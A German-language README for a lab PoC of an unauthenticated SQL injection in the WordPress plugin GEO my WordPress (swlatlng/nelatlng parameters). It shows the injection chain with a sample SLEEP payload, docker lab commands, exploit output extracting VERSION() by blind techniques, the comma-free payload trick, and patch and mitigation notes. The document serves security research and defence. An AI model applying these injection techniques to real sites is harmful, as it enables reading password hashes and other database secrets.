
Funktionaler PoC für CVE-2026-52715 (GeoLeak): Nicht authentifiziertes SQLi in GEO my WordPress <= 4.5.5 über swlatlng/nelatlng. Docker-Labor + time-based/boolean-based-Exploit + Exfiltration ohne Kommas im Payload.
Bildungs-PoC von GeoLeak (CVE-2026-52715), eine nicht authentifizierte SQL-Injection (CVSS 9.3) im Plugin GEO my WordPress <= 4.5.5 für WordPress. Die Parameter
swlatlngundnelatlngder Kartengrenzen werden ohne Bereinigung in die WHERE-Klausel interpoliert. Eigenständiges Docker-Labor + Exploit mit time-based-, boolean-based-Techniken und Zeichen-für-Zeichen-Exfiltration.
CVE-2026-52715 ist eine SQL-Injection (CWE-89) in der Funktion des Plugins GEO my WordPress, die alle Versionen betrifft und seit (15. Juni 2026) gepatcht ist. Entdeckt wurde sie vom Forscher und über Patchstack veröffentlicht.
gmw_get_locations_within_boundaries_sql()Die Kette mit dem Namen GeoLeak zeigt, wie ein Angreifer, ausgehend ausschließlich von Lesezugriff auf eine beliebige öffentliche Seite, die den Shortcode [gmw] enthält, Folgendes tun kann:
swlatlng (oder nelatlng) der Query-String injizieren – ohne Cookies, ohne Nonce und ohne Authentifizierung.SLEEP() (time-based blind) erzwingen, ausgewertet für jede Zeile des INNER JOIN gegen wp_gmw_locations."total_results":N, den das Plugin selbst in das JSON der Kartenkonfiguration einbettet, nutzen, um boolesche Bedingungen abzuleiten (boolean-based blind).explode(',', ...)), und zwar mittels CASE WHEN und SUBSTRING(x FROM n FOR 1).Das Ergebnis ist beliebiges Lesen der WordPress-Datenbank: Tabelle wp_users (Passwort-Hashes), Konfigurationsoptionen, Schlüssel und Daten Dritter aus Plugins.
In der PoC wird die vollständige Extraktion von VERSION() von MariaDB ausschließlich mit GET-Anfragen verifiziert.
Dieses Repository enthält Material, das streng lehrreich und defensiv ist.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Öffentliche Anfrage ohne Authentifizierung │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ öffentliche Seite mit Shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => Formular als gesendet markiert │
│ get_form_values() nimmt $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) ohne Whitelist │
│ $output['swlatlng'] kommt unverändert an │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng werden in Suchargumente kopiert │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ direkte Interpolation: ohne prepare, ohne Validierung │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ Antwort um 5s verzögert / total_results = Orakel │
└─────────────────────────────────────────────────────────────────────┘
curl und awk für den Exploitdocker-compose.yml ändern)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile WP-Image + WP-CLI + Labor-Entrypoint
│ ├── lab-entrypoint.sh Start + automatische Seeding beim ersten Boot
│ ├── seed.sh WP-Installation, Formular, geolokalisierten Beitrag
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (verwundbarer Code)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + Exfiltration
├── docs/
│ ├── analisis-tecnico.md Vollständige Kette request -> SQL, mit Code
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Offizieller Patch
├── LICENSE
└── README.md
# 1. Labor starten (erster Start: 60-90 s)
docker compose up -d --build
# 2. Prüfen, ob das Seeding abgeschlossen ist
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. PoC ausführen
./poc/poc.sh
# 4. Labor zerstören
docker compose down -v
Konfigurierbare Parameter des Exploits:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
WordPress-Zugang: http://localhost:3080 mit admin/admin. Die Seite mit dem verwundbaren Formular ist http://localhost:3080/?page_id=5.
Hinweis: Die Seed-Zeile in
wp_gmw_locationsist unerlässlich. Die Abfrage verwendet einen INNER JOIN gegen diese Tabelle: Ohne Zeilen wird das injizierte WHERE nicht ausgewertet undSLEEP()schläft nicht.
Reale Ausgabe der letzten Ausführung gegen das Labor (14. August 2026):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
Nicht authentifizierte SQLi via swlatlng/nelatlng
Ziel: http://localhost:3080
===================================================
[*] Time-based-Test (SLEEP 5s)...
Harmlose Anfrage : 0.037000s
SLEEP-Payload : 5.034984s
[+] VERWUNDBAR: Verzögerung von 5.034984s bestätigt die SQL-Injection
[*] Boolean-based-Test (total_results-Orakel)...
Bedingung TRUE -> total_results=1
Bedingung FALSE -> total_results=0
[+] VERWUNDBAR: Die Ergebnisanzahl hängt von der injizierten Bedingung ab
[*] Extraktion von VERSION() Zeichen für Zeichen...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC abgeschlossen
Gegenprüfung direkt gegen die Datenbank:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
Gegen die gepatchte Version (>= 4.5.5.1) antwortet die Time-based-Phase in Millisekunden und die PoC endet mit [-] Keine Verzögerung erkannt (Ziel möglicherweise gepatcht >= 4.5.5.1).
Vollständige Details mit den Codefragmenten und exakten Zeilen in docs/analisis-tecnico.md. Kernpunkte:
gmw_get_locations_within_boundaries_sql() interpoliert {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} direkt in das WHERE (alle vier Punkte sind injizierbar).gmw_get_form_values() verarbeitet die komplette Query-String mit parse_str() ohne Whitelist.explode(',', $southwest) ausführt. Die PoC verwendet CASE WHEN a THEN b ELSE c END anstelle von IF(a,b,c) und SUBSTRING(x FROM n FOR 1) anstelle von SUBSTRING(x,n,1)."total_results":N offen; der Exploit kalibriert den Längenbereich (-10..1), sodass die Seed-Zeile überlebt, wenn die Bedingung wahr ist.wp_posts.* plus die gmw-Felder müssen abgestimmt werden); error-based unpraktisch (wpdb verschluckt Fehler).wp_ajax_nopriv_*-Handler des Plugins führen entweder kein SQL aus (kostenlose Version) oder sind durch Nonce geschützt. Der CVE-Vektor in der kostenlosen Version ist das GET des Formulars.Vollständiges Diff in docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Zwischen 4.5.5 und 4.5.5.1 unterscheiden sich nur drei Dateien (geo-my-wp.php für die Version, readme.txt für das Changelog und includes/gmw-functions.php):
gmw_parse_latlng_boundary(): verlangt exakt 2 endliche numerische Teile mit |lat| <= 90 und |lng| <= 180.gmw_get_form_values() verwirft mit unset() die Werte, die nicht validieren.$wpdb->prepare() und %f-Platzhaltern neu geschrieben.Aktuelle Plugin-Version: 4.5.5.3 (Juli 2026), gepatcht.
swlatlng/nelatlng blockiert, oder virtuelles Patching (Patchstack und Ähnliches).[gmw]-Formulare die Suche nach Kartengrenzen benötigen.swlatlng/nelatlng-Mustern in den Logs überwachen.wp_users überdenken – die Injection erlaubt das Lesen dieser Daten.